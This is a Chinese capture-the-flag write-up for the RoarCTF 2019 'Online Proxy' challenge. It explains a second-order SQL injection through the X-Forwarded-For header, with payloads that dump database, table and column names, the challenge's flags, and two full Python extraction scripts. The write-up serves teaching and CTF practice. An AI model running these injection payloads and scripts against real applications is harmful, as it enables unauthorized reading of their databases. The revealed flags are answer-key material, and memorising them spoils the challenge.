BUU [RoarCTF 2019]Online Proxy
题目描述:靶机无法访问外网,同时 flag{} 里为 uuid
考点:X-Forwarded-For注入、二次注入、盲注
开题,空白页
看看源代码,有我们的IP。
篡改一下XFF试试,回显了当前IP和之前的IP。既然存在显示历史ip、更新ip的操作,那么就涉及到数据库,应该可以利用update或者insert注入或者二次注入。
既然是SQL注入,那就得想明白后端语句是什么。以下是后端源码:
$result = query("select current_ip, last_ip from ip_log where uuid = '".addslashes($uuid)."'");
if(count($result) > 0) {
if($ip !== $result[0]['current_ip']) {
$last_ip = $result[0]['current_ip'];
query("delete from ip_log where uuid='".addslashes($uuid)."'");
} else {
$last_ip = $result[0]['last_ip'];
}
}
query("insert into ip_log values ('".addslashes($uuid)."', '".addslashes($ip)."', '$last_ip');");
die("\n<!-- Debug Info: \n Duration: $time s \n Current Ip: $ip ".($last_ip !== "" ? "\nLast Ip: ".$last_ip : "")." -->");
二次注入无疑。通过IP插入SQL注入语句,select读取出来时候执行插入的SQL注入语句从而返回我们想要的结果。
-------------------------【这里引用一下其他师傅的分析】-------------------------
一般来说,insert可以使用延时注入,update可以使用bool盲注和延时盲注,但是如果更新后的数据是可见的话,那么就可能存在二次注入,在insert的时候拼接注入语句,将要查询的数据转化为10进制一起插入数据库中,这样实际上我们要查询的数据就已经在数据库里了,再在回显时就可以拿到数据了。
下面放几张图理解一下:
-------------------------【这里引用一下其他师傅的分析】-------------------------
遵循这个方法,我们可以很容易的就得到需要的数据的十进制。
发包一次结果(插入SQL语句)
发包两次结果(记得前后XFF不一,执行插入的SQL语句)
发包三次结果(回显结果)
解码脚本:
import binascii
ten=6517862
print(binascii.a2b_hex(hex(ten)[2:]).decode('utf8'))
注出数据库:
0'+conv(hex(substr((group_concat(schema_name) from information_schema.schemata),1,5)),16,10)+'0
0'+conv(hex(substr((group_concat(schema_name) from information_schema.schemata),6,5)),16,10)+'0
0'+conv(hex(substr((group_concat(schema_name) from information_schema.schemata),11,5)),16,10)+'0
...
...
结果如下substr一点一点读:
F4l9_D4t4B45e
注出数据表:
0'+conv(hex(substr((select group_concat(table_name)from information_schema.tables where table_schema='F4l9_D4t4B45e'),1,5)),16,10)+'0
0'+conv(hex(substr((select group_concat(table_name)from information_schema.tables where table_schema='F4l9_D4t4B45e'),6,5)),16,10)+'0
0'+conv(hex(substr((select group_concat(table_name)from information_schema.tables where table_schema='F4l9_D4t4B45e'),11,5)),16,10)+'0
...
...
结果如下substr一点一点读:
F4l9_t4b1e
注出列:
0'+conv(hex(substr((select group_concat(column_name) from information_schema.columns where table_name='F4l9_t4b1e'),1,5)),16,10)+'0
结果如下substr一点一点读:
F4l9_C01uMn
注出flag:
0'+conv(hex(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),1,5)),16,10)+'0
结果如下substr一点一点读:(两个flag。。。原来题目描述是这意思)
flag{G1zj1n_W4nt5_4_91r1_Fr1end},flag{2cfeddc0-bd28-4209-8e2b-0471987bb943}
网上的一把梭脚本:
import requests
import binascii
url = "http://node3.buuoj.cn:28136/"
s = requests.session()
def get_length(sql):
length = ""
payload = f"0'+length(({sql}))+'0"
header = {'X-Forwarded-For': payload}
r = s.get(url, headers=header)
header['X-Forwarded-For'] = 'Lethe'
r = s.get(url, headers=header)
r = s.get(url, headers=header)
length = r.text.split(" ")[-2]
return length
def get_result(sql):
all_result = ""
length = int(get_length(sql))
print("length: "+str(length))
for i in range(1, length + 1, 5):
payload = f"0'+conv(hex(substr(({sql}),{i},5)),16,10)+'0"
header = {'X-Forwarded-For': payload}
r = s.get(url, headers=header)
header['X-Forwarded-For'] = 'Lethe'
r = s.get(url, headers=header)
r = s.get(url, headers=header)
result = int(r.text.split(" ")[-2])
# print(result)
# print(binascii.a2b_hex(hex(result)[2:]).decode('utf8'))
all_result += binascii.a2b_hex(hex(result)[2:]).decode('utf8')
return all_result
# sql = "select group_concat(schema_name) from information_schema.schemata"
# sql = "select group_concat(table_name) from information_schema.tables where table_schema = 'F4l9_D4t4B45e'"
# sql = "select group_concat(column_name) from information_schema.columns where table_name='F4l9_t4b1e'"
sql = "select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e"
print(get_result(sql))
也能通过上述原理进行盲注:
import requests
url = "http://node3.buuoj.cn:25174/"
#这个head头好像必须加cookie
head ={
"X-Forwarded-For":"",
"Cookie" : "track_uuid=ce631f2b-5cab-4c99-a795-40e01e157888"
}
# #查库名
# payload = "0' or ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{},1))>{} or '0"
# #查表名
# payload = "0' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='F4l9_D4t4B45e')),{},1))>{} or '0"
# #查列名
# payload = "0' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F4l9_t4b1e')),{},1))>{} or '0"
#查flag
payload = "0' or ascii(substr((select(group_concat(F4l9_C01uMn))from(F4l9_D4t4B45e.F4l9_t4b1e)),{},1))>{} or '0"
flag =""
for i in range(1,1000):
low = 32
high =137
mid = (low+high)//2
while(low < high):
print(i,mid)
'''插入sql语句'''
payload1 = payload.format(i,mid)
head["X-Forwarded-For"] = payload1
print(head["X-Forwarded-For"])
r = requests.get(url,headers=head)
'''重新发送两次请求'''
head["X-Forwarded-For"]= "penson"
r = requests.get(url,headers=head)
r = requests.get(url,headers=head)
if "Last Ip: 1 " in r.text:
low = mid+1
else:
high = mid
mid =(low+high)//2
if(mid ==32 or mid ==127):
break
flag +=chr(mid)
print(flag)
print(flag)